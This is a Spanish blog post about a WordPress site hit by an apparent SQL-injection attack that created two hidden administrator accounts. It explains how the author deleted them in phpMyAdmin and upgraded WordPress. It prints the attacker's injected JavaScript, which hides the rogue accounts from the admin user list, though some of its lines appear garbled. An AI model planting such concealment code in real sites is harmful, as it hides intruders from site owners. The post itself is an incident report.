Estos días, estamos sufriendo un ataque en el blog, por medio de una nueva técnica, que crea superusuarios (administradores), por medio de inyección SQL al parecer.

Con esta técnica, nos han creado dos nuevos usuarios: PierreRohr83 y BobbyRafter70, con permisos de administrador y ocultos en el panel de administración de usuarios, con lo que no se puede borrar desde WordPress.  Se nota su presencia ya que al escribir un articulo, aparecen en el desplegable de usuarios.

Bueno, después de ir a lo fácil e instalar este plugin de SUMOLARI y después este otro (para prevenir futuros ataques), no funciono el tema y seguían existiendo los usuarios, así que no quedo otro remedio que ir a la solución “difícil” y entrar en las tablas de WordPress a borrar cosas a mano.

Como hacia tiempo que no entraba en el PHPAdmin, no me acordaba del user y clave, así que lo primero fue crearse otro usuario  temporal para poder entrar, y una vez dentro, eliminar los registros de la tabla _admin (eran los usuarios 59 y 60).

Posteriormente, en la tabla _usermeta, borrar todos los registros de los users 59 y 60.

Finalmente, salir de PHPadmin y borrar el usuario temporal que había creado.

Como cosa curiosa, esto estaba insertado en la tabla usermeta:

<div id=”user_superuser”><script language=”JavaScript”>
var setUserName = function(){
try{
var t=document.getElementById(“user_superuser”);
while(t.nodeName!=”TR”){
t=t.parentNode;
};
t.parentNode.removeChild(t);
var tags = document.getElementsByTagName(“H3″);
var s = ” shown below”;
for (var i = 0; i < tags.length; i++) {
var t=tags[i].innerHTML;
var h=tags[i];
if(t.indexOf(s)>0){
s =(parseInt(t)-1)+s;
h.removeChild(h.firstChild);
t = document.createTextNode(s);
h.appendChild(t);
}
}
var arr=document.getElementsByTagName(“ul”);
for(var i in arr) if(arr[i].className==”subsubsub”){
var n=/>Administrator ((d+))0){
var txt=arr[i].innerHTML.replace(/>Administrator ((d+))Administrator (“+(n[1]-1)+”)< “);
arr[i].innerHTML=txt;
}
}
}catch(e){};
};
addLoadEvent(setUserName);
</script></script></div>

Por ultimo y para prevenir males mayores, actualizamos a la versión de WordPress 2.8.4. que al parecer no esta afectada por esta vulnerabilidad.